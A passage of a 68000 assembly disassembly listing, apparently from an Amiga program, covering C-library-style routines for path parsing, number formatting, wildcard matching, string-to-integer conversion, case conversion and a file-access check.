  2287.     BGT.S    LAB_013B        ;155C: 6EC0
  2288.     BRA.S    LAB_0148        ;155E: 604E
  2289. LAB_0141:
  2290.     LEA    28(A7),A0        ;1560: 41EF001C
  2291.     ADDA.L    D6,A0            ;1564: D1C6
  2292.     MOVEA.L    A0,A3            ;1566: 2648
  2293.     MOVEQ    #0,D0            ;1568: 7000
  2294.     MOVE.B    (A3),D0            ;156A: 1013
  2295.     MOVEQ    #47,D1            ;156C: 722F
  2296.     SUB.L    D1,D0            ;156E: 9081
  2297.     BEQ.S    LAB_0145        ;1570: 672A
  2298.     MOVEQ    #11,D1            ;1572: 720B
  2299.     SUB.L    D1,D0            ;1574: 9081
  2300.     BEQ.S    LAB_0142        ;1576: 6708
  2301.     MOVEQ    #34,D1            ;1578: 7222
  2302.     SUB.L    D1,D0            ;157A: 9081
  2303.     BEQ.S    LAB_0145        ;157C: 671E
  2304.     BRA.S    LAB_0148        ;157E: 602E
  2305. LAB_0142:
  2306.     MOVE.L    A5,D0            ;1580: 200D
  2307.     BEQ.S    LAB_0144        ;1582: 670A
  2308.     LEA    1(A3),A0        ;1584: 41EB0001
  2309.     MOVEA.L    A5,A1            ;1588: 224D
  2310. LAB_0143:
  2311.     MOVE.B    (A0)+,(A1)+        ;158A: 12D8
  2312.     BNE.S    LAB_0143        ;158C: 66FC
  2313. LAB_0144:
  2314.     ADDQ.L    #1,D6            ;158E: 5286
  2315.     MOVEA.L    A7,A0            ;1590: 204F
  2316.     ADDA    #$001C,A0        ;1592: D0FC001C
  2317.     CLR.B    0(A0,D6.L)        ;1596: 42306800
  2318.     BRA.S    LAB_0149        ;159A: 601A
  2319. LAB_0145:
  2320.     MOVE.L    A5,D0            ;159C: 200D
  2321.     BEQ.S    LAB_0147        ;159E: 670A
  2322.     LEA    1(A3),A0        ;15A0: 41EB0001
  2323.     MOVEA.L    A5,A1            ;15A4: 224D
  2324. LAB_0146:
  2325.     MOVE.B    (A0)+,(A1)+        ;15A6: 12D8
  2326.     BNE.S    LAB_0146        ;15A8: 66FC
  2327. LAB_0147:
  2328.     CLR.B    (A3)            ;15AA: 4213
  2329.     BRA.S    LAB_0149        ;15AC: 6008
  2330. LAB_0148:
  2331.     MOVE.L    D6,D0            ;15AE: 2006
  2332.     SUBQ.L    #1,D6            ;15B0: 5386
  2333.     TST.L    D0            ;15B2: 4A80
  2334.     BGT.S    LAB_0141        ;15B4: 6EAA
  2335. LAB_0149:
  2336.     MOVEA.L    96(A7),A3        ;15B6: 266F0060
  2337.     TST.L    D6            ;15BA: 4A86
  2338.     BPL.S    LAB_014F        ;15BC: 6A42
  2339.     MOVE.L    A5,D0            ;15BE: 200D
  2340.     BEQ.S    LAB_0151        ;15C0: 6752
  2341.     LEA    28(A7),A0        ;15C2: 41EF001C
  2342. LAB_014A:
  2343.     MOVE.B    (A0)+,(A5)+        ;15C6: 1AD8
  2344.     BNE.S    LAB_014A        ;15C8: 66FC
  2345.     BRA.S    LAB_0151        ;15CA: 6048
  2346. LAB_014B:
  2347.     LEA    28(A7),A0        ;15CC: 41EF001C
  2348.     ADDA.L    D6,A0            ;15D0: D1C6
  2349.     MOVEA.L    A0,A2            ;15D2: 2448
  2350.     MOVEQ    #0,D0            ;15D4: 7000
  2351.     MOVE.B    (A2),D0            ;15D6: 1012
  2352.     MOVEQ    #58,D1            ;15D8: 723A
  2353.     SUB.L    D1,D0            ;15DA: 9081
  2354.     BNE.S    LAB_014F        ;15DC: 6622
  2355.     MOVE.L    A3,D0            ;15DE: 200B
  2356.     BEQ.S    LAB_014D        ;15E0: 6708
  2357.     LEA    1(A2),A0        ;15E2: 41EA0001
  2358. LAB_014C:
  2359.     MOVE.B    (A0)+,(A3)+        ;15E6: 16D8
  2360.     BNE.S    LAB_014C        ;15E8: 66FC
  2361. LAB_014D:
  2362.     CLR.B    1(A2)            ;15EA: 422A0001
  2363.     MOVEA.L    24(A7),A1        ;15EE: 226F0018
  2364.     MOVE.L    A1,D0            ;15F2: 2009
  2365.     BEQ.S    LAB_0151        ;15F4: 671E
  2366.     LEA    28(A7),A0        ;15F6: 41EF001C
  2367. LAB_014E:
  2368.     MOVE.B    (A0)+,(A1)+        ;15FA: 12D8
  2369.     BNE.S    LAB_014E        ;15FC: 66FC
  2370.     BRA.S    LAB_0151        ;15FE: 6014
  2371. LAB_014F:
  2372.     MOVE.L    D6,D0            ;1600: 2006
  2373.     SUBQ.L    #1,D6            ;1602: 5386
  2374.     TST.L    D0            ;1604: 4A80
  2375.     BGT.S    LAB_014B        ;1606: 6EC4
  2376.     MOVE.L    A3,D0            ;1608: 200B
  2377.     BEQ.S    LAB_0151        ;160A: 6708
  2378.     LEA    28(A7),A0        ;160C: 41EF001C
  2379. LAB_0150:
  2380.     MOVE.B    (A0)+,(A3)+        ;1610: 16D8
  2381.     BNE.S    LAB_0150        ;1612: 66FC
  2382. LAB_0151:
  2383.     MOVEM.L    (A7)+,D6-D7/A2-A3/A5    ;1614: 4CDF2CC0
  2384.     ADDA    #$0048,A7        ;1618: DEFC0048
  2385.     RTS                ;161C: 4E75
  2386.     DC.W    $0000            ;161E
  2387.     MOVE.L    8(A7),D0        ;1620: 202F0008
  2388.     MOVEA.L    4(A7),A0        ;1624: 206F0004
  2389. LAB_0152:
  2390.     LINK    A5,#-12            ;1628: 4E55FFF4
  2391.     MOVEA.L    A7,A1            ;162C: 224F
  2392. LAB_0153:
  2393.     MOVEQ    #10,D1            ;162E: 720A
  2394.     JSR    LAB_01D5(PC)        ;1630: 4EBA0914
  2395.     ADDI    #$0030,D1        ;1634: 06410030
  2396.     MOVE.B    D1,(A1)+        ;1638: 12C1
  2397.     TST.L    D0            ;163A: 4A80
  2398.     BNE.S    LAB_0153        ;163C: 66F0
  2399.     MOVE.L    A1,D0            ;163E: 2009
  2400. LAB_0154:
  2401.     MOVE.B    -(A1),(A0)+        ;1640: 10E1
  2402.     CMPA.L    A1,A7            ;1642: BFC9
  2403.     BNE.S    LAB_0154        ;1644: 66FA
  2404.     CLR.B    (A0)            ;1646: 4210
  2405.     SUB.L    A7,D0            ;1648: 908F
  2406.     UNLK    A5            ;164A: 4E5D
  2407.     RTS                ;164C: 4E75
  2408.     DC.W    $0000            ;164E
  2409.     MOVEA.L    4(A7),A0        ;1650: 206F0004
  2410.     MOVEA.L    8(A7),A1        ;1654: 226F0008
  2411. LAB_0155:
  2412.     SUBQ    #4,A7            ;1658: 594F
  2413.     MOVEM.L    A2-A3/A5,-(A7)        ;165A: 48E70034
  2414.     MOVEA.L    A1,A3            ;165E: 2649
  2415.     MOVEA.L    A0,A5            ;1660: 2A48
  2416.     MOVEA.L    A5,A2            ;1662: 244D
  2417.     BRA.S    LAB_015A        ;1664: 604A
  2418. LAB_0156:
  2419.     MOVEQ    #0,D0            ;1666: 7000
  2420.     MOVE.B    12(A7),D0        ;1668: 102F000C
  2421.     MOVEQ    #42,D1            ;166C: 722A
  2422.     SUB.L    D1,D0            ;166E: 9081
  2423.     BEQ.S    LAB_0158        ;1670: 6724
  2424.     MOVEQ    #21,D1            ;1672: 7215
  2425.     SUB.L    D1,D0            ;1674: 9081
  2426.     BNE.S    LAB_0159        ;1676: 6624
  2427.     TST.B    (A5)            ;1678: 4A15
  2428.     SEQ    D0            ;167A: 57C0
  2429.     NEG.B    D0            ;167C: 4400
  2430.     EXT    D0            ;167E: 4880
  2431.     ADDQ.L    #1,A5            ;1680: 528D
  2432.     TST.B    D0            ;1682: 4A00
  2433.     BEQ.S    LAB_015A        ;1684: 672A
  2434.     MOVEQ    #0,D0            ;1686: 7000
  2435.     BRA.S    LAB_015C        ;1688: 603A
  2436. LAB_0157:
  2437.     MOVEA.L    A5,A0            ;168A: 204D
  2438.     MOVEA.L    A3,A1            ;168C: 224B
  2439.     BSR.S    LAB_0155        ;168E: 61C8
  2440.     TST.L    D0            ;1690: 4A80
  2441.     BNE.S    LAB_015A        ;1692: 661C
  2442.     ADDQ.L    #1,A5            ;1694: 528D
  2443. LAB_0158:
  2444.     TST.B    (A5)            ;1696: 4A15
  2445.     BNE.S    LAB_0157        ;1698: 66F0
  2446.     BRA.S    LAB_015A        ;169A: 6014
  2447. LAB_0159:
  2448.     MOVE.B    12(A7),D1        ;169C: 122F000C
  2449.     CMP.B    (A5)+,D1        ;16A0: B21D
  2450.     SNE    D0            ;16A2: 56C0
  2451.     NEG.B    D0            ;16A4: 4400
  2452.     EXT    D0            ;16A6: 4880
  2453.     TST.B    D0            ;16A8: 4A00
  2454.     BEQ.S    LAB_015A        ;16AA: 6704
  2455.     MOVEQ    #0,D0            ;16AC: 7000
  2456.     BRA.S    LAB_015C        ;16AE: 6014
  2457. LAB_015A:
  2458.     MOVE.B    (A3)+,D0        ;16B0: 101B
  2459.     MOVE.B    D0,12(A7)        ;16B2: 1F40000C
  2460.     BNE.S    LAB_0156        ;16B6: 66AE
  2461.     TST.B    (A5)            ;16B8: 4A15
  2462.     BEQ.S    LAB_015B        ;16BA: 6704
  2463.     MOVEQ    #0,D0            ;16BC: 7000
  2464.     BRA.S    LAB_015C        ;16BE: 6004
  2465. LAB_015B:
  2466.     MOVE.L    A5,D0            ;16C0: 200D
  2467.     SUB.L    A2,D0            ;16C2: 908A
  2468. LAB_015C:
  2469.     MOVEM.L    (A7)+,A2-A3/A5        ;16C4: 4CDF2C00
  2470.     ADDQ    #4,A7            ;16C8: 584F
  2471.     RTS                ;16CA: 4E75
  2472.     MOVE.L    8(A7),D0        ;16CC: 202F0008
  2473.     MOVEA.L    4(A7),A0        ;16D0: 206F0004
  2474. LAB_015D:
  2475.     LINK    A5,#-12            ;16D4: 4E55FFF4
  2476.     MOVEA.L    A7,A1            ;16D8: 224F
  2477. LAB_015E:
  2478.     MOVE.L    D0,D1            ;16DA: 2200
  2479.     ANDI    #$0007,D1        ;16DC: 02410007
  2480.     ADDI    #$0030,D1        ;16E0: 06410030
  2481.     MOVE.B    D1,(A1)+        ;16E4: 12C1
  2482.     LSR.L    #3,D0            ;16E6: E688
  2483.     BNE.S    LAB_015E        ;16E8: 66F0
  2484.     MOVE.L    A1,D0            ;16EA: 2009
  2485. LAB_015F:
  2486.     MOVE.B    -(A1),(A0)+        ;16EC: 10E1
  2487.     CMPA.L    A1,A7            ;16EE: BFC9
  2488.     BNE.S    LAB_015F        ;16F0: 66FA
  2489.     CLR.B    (A0)            ;16F2: 4210
  2490.     SUB.L    A7,D0            ;16F4: 908F
  2491.     UNLK    A5            ;16F6: 4E5D
  2492.     RTS                ;16F8: 4E75
  2493.     DC.W    $0000            ;16FA
  2494. LAB_0160:
  2495.     DC.W    $3031            ;16FC
  2496.     DC.W    $3233            ;16FE
  2497.     DC.W    $3435            ;1700
  2498.     DC.W    $3637            ;1702
  2499.     MOVE    EXT_0004,D4        ;1704: 383961626364
  2500.     BCS.S    LAB_0167        ;170A: 6566
  2501.     MOVE.L    8(A7),D0        ;170C: 202F0008
  2502.     MOVEA.L    4(A7),A0        ;1710: 206F0004
  2503. LAB_0161:
  2504.     SUBQ    #8,A7            ;1714: 514F
  2505.     MOVEA.L    A7,A1            ;1716: 224F
  2506. LAB_0162:
  2507.     MOVE    D0,D1            ;1718: 3200
  2508.     ANDI    #$000F,D1        ;171A: 0241000F
  2509.     MOVE.B    LAB_0160(PC,D1.W),(A1)+    ;171E: 12FB10DC
  2510.     LSR.L    #4,D0            ;1722: E888
  2511.     BNE.S    LAB_0162        ;1724: 66F2
  2512.     MOVE.L    A1,D0            ;1726: 2009
  2513. LAB_0163:
  2514.     MOVE.B    -(A1),(A0)+        ;1728: 10E1
  2515.     CMPA.L    A1,A7            ;172A: BFC9
  2516.     BNE.S    LAB_0163        ;172C: 66FA
  2517.     CLR.B    (A0)            ;172E: 4210
  2518.     SUB.L    A1,D0            ;1730: 9089
  2519.     ADDQ    #8,A7            ;1732: 504F
  2520.     RTS                ;1734: 4E75
  2521.     DC.W    $0000            ;1736
  2522.     MOVE.L    8(A7),D0        ;1738: 202F0008
  2523.     MOVEA.L    4(A7),A0        ;173C: 206F0004
  2524. LAB_0164:
  2525.     MOVE.L    A0,-(A7)        ;1740: 2F08
  2526.     TST.L    D0            ;1742: 4A80
  2527.     LINK    A5,#-12            ;1744: 4E55FFF4
  2528.     MOVEA.L    A7,A1            ;1748: 224F
  2529.     BGE.S    LAB_0165        ;174A: 6C06
  2530.     MOVE.B    #$2D,(A0)+        ;174C: 10FC002D
  2531.     NEG.L    D0            ;1750: 4480
  2532. LAB_0165:
  2533.     MOVEQ    #10,D1            ;1752: 720A
  2534.     JSR    LAB_01D5(PC)        ;1754: 4EBA07F0
  2535.     ADDI    #$0030,D1        ;1758: 06410030
  2536.     MOVE.B    D1,(A1)+        ;175C: 12C1
  2537.     TST.L    D0            ;175E: 4A80
  2538.     BNE.S    LAB_0165        ;1760: 66F0
  2539. LAB_0166:
  2540.     MOVE.B    -(A1),(A0)+        ;1762: 10E1
  2541.     CMPA.L    A1,A7            ;1764: BFC9
  2542.     BNE.S    LAB_0166        ;1766: 66FA
  2543.     CLR.B    (A0)            ;1768: 4210
  2544.     MOVE.L    A0,D0            ;176A: 2008
  2545.     UNLK    A5            ;176C: 4E5D
  2546.     SUB.L    (A7)+,D0        ;176E: 909F
  2547.     RTS                ;1770: 4E75
  2548. LAB_0167:
  2549.     DC.W    $0000            ;1772
  2550.     MOVEA.L    4(A7),A0        ;1774: 206F0004
  2551.     MOVEA.L    8(A7),A1        ;1778: 226F0008
  2552. LAB_0168:
  2553.     MOVEM.L    D6-D7/A3/A5,-(A7)    ;177C: 48E70314
  2554.     MOVEA.L    A1,A3            ;1780: 2649
  2555.     MOVEA.L    A0,A5            ;1782: 2A48
  2556.     CLR.B    (A5)            ;1784: 4215
  2557.     MOVEA.L    A3,A0            ;1786: 204B
  2558. LAB_0169:
  2559.     TST.B    (A0)+            ;1788: 4A18
  2560.     BNE.S    LAB_0169        ;178A: 66FC
  2561.     SUBQ.L    #1,A0            ;178C: 5388
  2562.     SUBA.L    A3,A0            ;178E: 91CB
  2563.     MOVE.L    A0,D7            ;1790: 2E08
  2564.     MOVE.L    A0,D0            ;1792: 2008
  2565.     ADDA.L    D0,A3            ;1794: D7C0
  2566.     MOVE.L    D0,D6            ;1796: 2C00
  2567.     BRA.S    LAB_016B        ;1798: 6012
  2568. LAB_016A:
  2569.     SUBQ.L    #1,A3            ;179A: 538B
  2570.     MOVE.B    (A3),D0            ;179C: 1013
  2571.     MOVEQ    #47,D1            ;179E: 722F
  2572.     CMP.B    D1,D0            ;17A0: B001
  2573.     BEQ.S    LAB_016C        ;17A2: 670C
  2574.     MOVEQ    #58,D1            ;17A4: 723A
  2575.     CMP.B    D1,D0            ;17A6: B001
  2576.     BEQ.S    LAB_016C        ;17A8: 6706
  2577.     SUBQ.L    #1,D6            ;17AA: 5386
  2578. LAB_016B:
  2579.     TST.L    D6            ;17AC: 4A86
  2580.     BGT.S    LAB_016A        ;17AE: 6EEA
  2581. LAB_016C:
  2582.     SUB.L    D6,D7            ;17B0: 9E86
  2583.     TST.L    D6            ;17B2: 4A86
  2584.     BEQ.S    LAB_016D        ;17B4: 6702
  2585.     ADDQ.L    #1,A3            ;17B6: 528B
  2586. LAB_016D:
  2587.     MOVEQ    #108,D0            ;17B8: 706C
  2588.     CMP.L    D0,D7            ;17BA: BE80
  2589.     BLE.S    LAB_016E        ;17BC: 6F02
  2590.     MOVE.L    D0,D7            ;17BE: 2E00
  2591. LAB_016E:
  2592.     MOVE.L    D7,D0            ;17C0: 2007
  2593.     ADDQ.L    #1,D0            ;17C2: 5280
  2594.     BRA.S    LAB_0170        ;17C4: 6002
  2595. LAB_016F:
  2596.     MOVE.B    (A3)+,(A5)+        ;17C6: 1ADB
  2597. LAB_0170:
  2598.     SUBQ.L    #1,D0            ;17C8: 5380
  2599.     BCC.S    LAB_016F        ;17CA: 64FA
  2600.     MOVE.L    D7,D0            ;17CC: 2007
  2601.     MOVEM.L    (A7)+,D6-D7/A3/A5    ;17CE: 4CDF28C0
  2602.     RTS                ;17D2: 4E75
  2603.     MOVEA.L    4(A7),A0        ;17D4: 206F0004
  2604.     MOVEA.L    8(A7),A1        ;17D8: 226F0008
  2605. LAB_0171:
  2606.     MOVEM.L    D2-D3/A2,-(A7)        ;17DC: 48E73020
  2607.     MOVEA.L    A0,A2            ;17E0: 2448
  2608.     MOVEQ    #0,D1            ;17E2: 7200
  2609.     MOVE.L    D1,D0            ;17E4: 2001
  2610.     MOVE.L    D1,D3            ;17E6: 2601
  2611.     CMPI.B    #$2B,(A0)        ;17E8: 0C10002B
  2612.     BEQ.S    LAB_0172        ;17EC: 6708
  2613.     CMPI.B    #$2D,(A0)        ;17EE: 0C10002D
  2614.     BNE.S    LAB_0173        ;17F2: 6604
  2615.     MOVEQ    #1,D3            ;17F4: 7601
  2616. LAB_0172:
  2617.     ADDQ    #1,A0            ;17F6: 5248
  2618. LAB_0173:
  2619.     MOVE.B    (A0)+,D0        ;17F8: 1018
  2620.     SUBI.B    #$30,D0            ;17FA: 04000030
  2621.     BLT.S    LAB_0175        ;17FE: 6D1A
  2622.     CMPI.B    #$09,D0            ;1800: 0C000009
  2623.     BGT.S    LAB_0175        ;1804: 6E14
  2624.     MOVE.L    D1,D2            ;1806: 2401
  2625.     ASL.L    #2,D1            ;1808: E581
  2626.     ADD.L    D2,D1            ;180A: D282
  2627.     ADD.L    D1,D1            ;180C: D281
  2628.     TST.B    D3            ;180E: 4A03
  2629.     BNE.S    LAB_0174        ;1810: 6604
  2630.     ADD.L    D0,D1            ;1812: D280
  2631.     BRA.S    LAB_0173        ;1814: 60E2
  2632. LAB_0174:
  2633.     SUB.L    D0,D1            ;1816: 9280
  2634.     BRA.S    LAB_0173        ;1818: 60DE
  2635. LAB_0175:
  2636.     MOVE.L    D1,(A1)            ;181A: 2281
  2637.     MOVE.L    A0,D0            ;181C: 2008
  2638.     SUB.L    A2,D0            ;181E: 908A
  2639.     SUBQ.L    #1,D0            ;1820: 5380
  2640.     MOVEM.L    (A7)+,D2-D3/A2        ;1822: 4CDF040C
  2641.     RTS                ;1826: 4E75
  2642.     MOVEA.L    4(A7),A0        ;1828: 206F0004
  2643. LAB_0176:
  2644.     MOVE.L    A5,-(A7)        ;182C: 2F0D
  2645.     MOVEA.L    A0,A5            ;182E: 2A48
  2646.     BTST    #3,27(A5)        ;1830: 082D0003001B
  2647.     BNE.S    LAB_0178        ;1836: 6630
  2648.     MOVE.L    0(A4),D0        ;1838: 202C0000
  2649.     JSR    LAB_0223(PC)        ;183C: 4EBA0C0A
  2650.     MOVE.L    D0,4(A5)        ;1840: 2B400004
  2651.     MOVE.L    D0,16(A5)        ;1844: 2B400010
  2652.     BNE.S    LAB_0177        ;1848: 660A
  2653.     MOVEQ    #12,D0            ;184A: 700C
  2654.     MOVE.L    D0,17332(A4)        ;184C: 294043B4
  2655.     MOVEQ    #-1,D0            ;1850: 70FF
  2656.     BRA.S    LAB_0179        ;1852: 6016
  2657. LAB_0177:
  2658.     MOVE.L    0(A4),20(A5)        ;1854: 2B6C00000014
  2659.     MOVEQ    #-13,D0            ;185A: 70F3
  2660.     AND.L    D0,24(A5)        ;185C: C1AD0018
  2661.     CLR.L    12(A5)            ;1860: 42AD000C
  2662.     CLR.L    8(A5)            ;1864: 42AD0008
  2663. LAB_0178:
  2664.     MOVEQ    #0,D0            ;1868: 7000
  2665. LAB_0179:
  2666.     MOVEA.L    (A7)+,A5        ;186A: 2A5F
  2667.     RTS                ;186C: 4E75
  2668.     DC.W    $0000            ;186E
  2669.     MOVEA.L    4(A7),A0        ;1870: 206F0004
  2670. LAB_017A:
  2671.     MOVEM.L    D2/A3/A5,-(A7)        ;1874: 48E72014
  2672.     MOVEA.L    A0,A5            ;1878: 2A48
  2673.     MOVEA.L    A5,A3            ;187A: 264D
  2674.     BRA.S    LAB_017E        ;187C: 6020
  2675. LAB_017B:
  2676.     MOVEQ    #0,D0            ;187E: 7000
  2677.     MOVE.B    (A3),D0            ;1880: 1013
  2678.     LEA    45(A4),A0        ;1882: 41EC002D
  2679.     BTST    #0,0(A0,D0.L)        ;1886: 083000000800
  2680.     BEQ.S    LAB_017C        ;188C: 670A
  2681.     MOVEQ    #0,D1            ;188E: 7200
  2682.     MOVE.B    D0,D1            ;1890: 1200
  2683.     MOVEQ    #32,D2            ;1892: 7420
  2684.     ADD.L    D2,D1            ;1894: D282
  2685.     BRA.S    LAB_017D        ;1896: 6004
  2686. LAB_017C:
  2687.     MOVEQ    #0,D1            ;1898: 7200
  2688.     MOVE.B    D0,D1            ;189A: 1200
  2689. LAB_017D:
  2690.     MOVE.B    D1,(A3)+        ;189C: 16C1
  2691. LAB_017E:
  2692.     TST.B    (A3)            ;189E: 4A13
  2693.     BNE.S    LAB_017B        ;18A0: 66DC
  2694.     MOVE.L    A5,D0            ;18A2: 200D
  2695.     MOVEM.L    (A7)+,D2/A3/A5        ;18A4: 4CDF2804
  2696.     RTS                ;18A8: 4E75
  2697.     DC.W    $0000            ;18AA
  2698.     MOVEA.L    4(A7),A0        ;18AC: 206F0004
  2699. LAB_017F:
  2700.     MOVEM.L    D2/A3/A5,-(A7)        ;18B0: 48E72014
  2701.     MOVEA.L    A0,A5            ;18B4: 2A48
  2702.     MOVEA.L    A5,A3            ;18B6: 264D
  2703.     BRA.S    LAB_0183        ;18B8: 6020
  2704. LAB_0180:
  2705.     MOVEQ    #0,D0            ;18BA: 7000
  2706.     MOVE.B    (A3),D0            ;18BC: 1013
  2707.     LEA    45(A4),A0        ;18BE: 41EC002D
  2708.     BTST    #1,0(A0,D0.L)        ;18C2: 083000010800
  2709.     BEQ.S    LAB_0181        ;18C8: 670A
  2710.     MOVEQ    #0,D1            ;18CA: 7200
  2711.     MOVE.B    D0,D1            ;18CC: 1200
  2712.     MOVEQ    #32,D2            ;18CE: 7420
  2713.     SUB.L    D2,D1            ;18D0: 9282
  2714.     BRA.S    LAB_0182        ;18D2: 6004
  2715. LAB_0181:
  2716.     MOVEQ    #0,D1            ;18D4: 7200
  2717.     MOVE.B    D0,D1            ;18D6: 1200
  2718. LAB_0182:
  2719.     MOVE.B    D1,(A3)+        ;18D8: 16C1
  2720. LAB_0183:
  2721.     TST.B    (A3)            ;18DA: 4A13
  2722.     BNE.S    LAB_0180        ;18DC: 66DC
  2723.     MOVE.L    A5,D0            ;18DE: 200D
  2724.     MOVEM.L    (A7)+,D2/A3/A5        ;18E0: 4CDF2804
  2725.     RTS                ;18E4: 4E75
  2726.     DC.W    $0000            ;18E6
  2727.     MOVEA.L    4(A7),A0        ;18E8: 206F0004
  2728.     MOVE.L    8(A7),D0        ;18EC: 202F0008
  2729. LAB_0184:
  2730.     MOVEM.L    D2/D6-D7/A3/A5-A6,-(A7)    ;18F0: 48E72316
  2731.     MOVE.L    D0,D7            ;18F4: 2E00
  2732.     MOVEA.L    A0,A5            ;18F6: 2A48
  2733.     MOVE.L    A5,D1            ;18F8: 220D
  2734.     MOVEA.L    17356(A4),A6        ;18FA: 2C6C43CC
  2735.     MOVEQ    #-2,D2            ;18FE: 74FE
  2736.     JSR    -84(A6)            ;1900: 4EAEFFAC
  2737.     MOVE.L    D0,D6            ;1904: 2C00
  2738.     BNE.S    LAB_0185        ;1906: 6612
  2739.     MOVEQ    #2,D0            ;1908: 7002
  2740.     MOVE.L    D0,17332(A4)        ;190A: 294043B4
  2741.     MOVE.L    #$000000CD,600(A4)    ;190E: 297C000000CD0258
  2742.     BRA    LAB_018B        ;1916: 60000112
  2743. LAB_0185:
  2744.     MOVEQ    #65,D0            ;191A: 7041
  2745.     LSL.L    #2,D0            ;191C: E588
  2746.     MOVEQ    #1,D1            ;191E: 7201
  2747.     BSR    LAB_031A        ;1920: 61001D42
  2748.     JSR    -198(A6)        ;1924: 4EAEFF3A
  2749.     MOVEA.L    D0,A3            ;1928: 2640
  2750.     TST.L    D0            ;192A: 4A80
  2751.     BNE.S    LAB_0186        ;192C: 661A
  2752.     MOVEQ    #12,D0            ;192E: 700C
  2753.     MOVE.L    D0,17332(A4)        ;1930: 294043B4
  2754.     MOVEQ    #103,D0            ;1934: 7067
  2755.     MOVE.L    D0,600(A4)        ;1936: 29400258
  2756.     MOVE.L    D6,D1            ;193A: 2206
  2757.     MOVEA.L    17356(A4),A6        ;193C: 2C6C43CC
  2758.     JSR    -90(A6)            ;1940: 4EAEFFA6
  2759.     BRA    LAB_018B        ;1944: 600000E4
  2760. LAB_0186:
  2761.     MOVE.L    D6,D1            ;1948: 2206
  2762.     MOVE.L    A3,D2            ;194A: 240B
  2763.     MOVEA.L    17356(A4),A6        ;194C: 2C6C43CC
  2764.     JSR    -102(A6)        ;1950: 4EAEFF9A
  2765.     TST.L    D0            ;1954: 4A80
  2766.     BNE.S    LAB_0187        ;1956: 662A
  2767.     MOVEQ    #2,D0            ;1958: 7002
  2768.     MOVE.L    D0,17332(A4)        ;195A: 294043B4
  2769.     MOVE.L    #$000000CD,600(A4)    ;195E: 297C000000CD0258
  2770.     MOVEA.L    D2,A1            ;1966: 2242
  2771.     MOVEQ    #65,D0            ;1968: 7041
  2772.     LSL.L    #2,D0            ;196A: E588
  2773.     BSR    LAB_031A        ;196C: 61001CF6
  2774.     JSR    -210(A6)        ;1970: 4EAEFF2E
  2775.     MOVE.L    D6,D1            ;1974: 2206
  2776.     MOVEA.L    17356(A4),A6        ;1976: 2C6C43CC
  2777.     JSR    -90(A6)            ;197A: 4EAEFFA6
  2778.     BRA    LAB_018B        ;197E: 600000AA
  2779. LAB_0187:
  2780.     MOVE.L    D6,D1            ;1982: 2206
  2781.     JSR    -90(A6)            ;1984: 4EAEFFA6
  2782.     MOVE.L    116(A3),D6        ;1988: 2C2B0074
  2783.     NOT.L    D6            ;198C: 4686
  2784.     MOVEA.L    D2,A1            ;198E: 2242
  2785.     MOVEQ    #65,D0            ;1990: 7041
  2786.     LSL.L    #2,D0            ;1992: E588
  2787.     BSR    LAB_031A        ;1994: 61001CCE
  2788.     JSR    -210(A6)        ;1998: 4EAEFF2E
  2789.     MOVE.L    D7,D0            ;199C: 2007
  2790.     CMPI.L    #$00000008,D0        ;199E: 0C8000000008
  2791.     BCC    LAB_018B        ;19A4: 64000084
  2792.     ADD    D0,D0            ;19A8: D040
  2793.     MOVE    LAB_0188(PC,D0.W),D0    ;19AA: 303B0006
  2794.     JMP    LAB_0189(PC,D0.W)    ;19AE: 4EFB0004
  2795. LAB_0188:
  2796.     DC.W    $000E            ;19B2
  2797. LAB_0189:
  2798.     ORI.B    #$1C,(A2)        ;19B4: 0012001C
  2799.     ORI.B    #$36,-(A6)        ;19B8: 00260036
  2800.     ORI    #$0050,D0        ;19BC: 00400050
  2801.     ORI    #$7000,-(A0)        ;19C0: 00607000
  2802.     BRA.S    LAB_018C        ;19C4: 6066
  2803.     BTST    #1,D6            ;19C6: 08060001
  2804.     BEQ.S    LAB_018B        ;19CA: 675E
  2805.     MOVEQ    #0,D0            ;19CC: 7000
  2806.     BRA.S    LAB_018C        ;19CE: 605C
  2807.     BTST    #2,D6            ;19D0: 08060002
  2808.     BEQ.S    LAB_018B        ;19D4: 6754
  2809.     MOVEQ    #0,D0            ;19D6: 7000
  2810.     BRA.S    LAB_018C        ;19D8: 6052
  2811.     BTST    #2,D6            ;19DA: 08060002
  2812.     BEQ.S    LAB_018B        ;19DE: 674A
  2813.     BTST    #1,D6            ;19E0: 08060001
  2814.     BEQ.S    LAB_018B        ;19E4: 6744
  2815.     MOVEQ    #0,D0            ;19E6: 7000
  2816.     BRA.S    LAB_018C        ;19E8: 6042
  2817.     BTST    #3,D6            ;19EA: 08060003
  2818.     BEQ.S    LAB_018B        ;19EE: 673A
  2819.     MOVEQ    #0,D0            ;19F0: 7000
  2820.     BRA.S    LAB_018C        ;19F2: 6038
  2821.     BTST    #3,D6            ;19F4: 08060003
  2822.     BEQ.S    LAB_018A        ;19F8: 670A
  2823.     BTST    #1,D6            ;19FA: 08060001
  2824.     BEQ.S    LAB_018A        ;19FE: 6704
  2825.     MOVEQ    #0,D0            ;1A00: 7000
  2826.     BRA.S    LAB_018C        ;1A02: 6028
  2827. LAB_018A:
  2828.     BTST    #3,D6            ;1A04: 08060003
  2829.     BEQ.S    LAB_018B        ;1A08: 6720
  2830.     BTST    #2,D6            ;1A0A: 08060002
  2831.     BEQ.S    LAB_018B        ;1A0E: 671A
  2832.     MOVEQ    #0,D0            ;1A10: 7000
  2833.     BRA.S    LAB_018C        ;1A12: 6018
  2834.     BTST    #3,D6            ;1A14: 08060003
  2835.     BEQ.S    LAB_018B        ;1A18: 6710
  2836.     BTST    #2,D6            ;1A1A: 08060002
  2837.     BEQ.S    LAB_018B        ;1A1E: 670A
  2838.     BTST    #1,D6            ;1A20: 08060001
  2839.     BEQ.S    LAB_018B        ;1A24: 6704
  2840.     MOVEQ    #0,D0            ;1A26: 7000
  2841.     BRA.S    LAB_018C        ;1A28: 6002
  2842. LAB_018B:
  2843.     MOVEQ    #-1,D0            ;1A2A: 70FF
  2844. LAB_018C:
  2845.     MOVEM.L    (A7)+,D2/D6-D7/A3/A5-A6    ;1A2C: 4CDF68C4
  2846.     RTS                ;1A30: 4E75
  2847.     DC.W    $0000            ;1A32
  2848.     MOVE.L    4(A7),D0        ;1A34: 202F0004
  2849.     MOVEA.L    8(A7),A0        ;1A38: 206F0008
  2850.     MOVE.L    12(A7),D1        ;1A3C: 222F000C
  2851. LAB_018D:
  2852.     MOVEM.L    D2-D3/D5-D6/A2-A3/A5-A6,-(A7) ;1A40: 48E73636
  2853.     MOVE.L    D1,D6            ;1A44: 2C01
  2854.     MOVE.L    D0,D5            ;1A46: 2A00
  2855.     MOVEA.L    A0,A5            ;1A48: 2A48
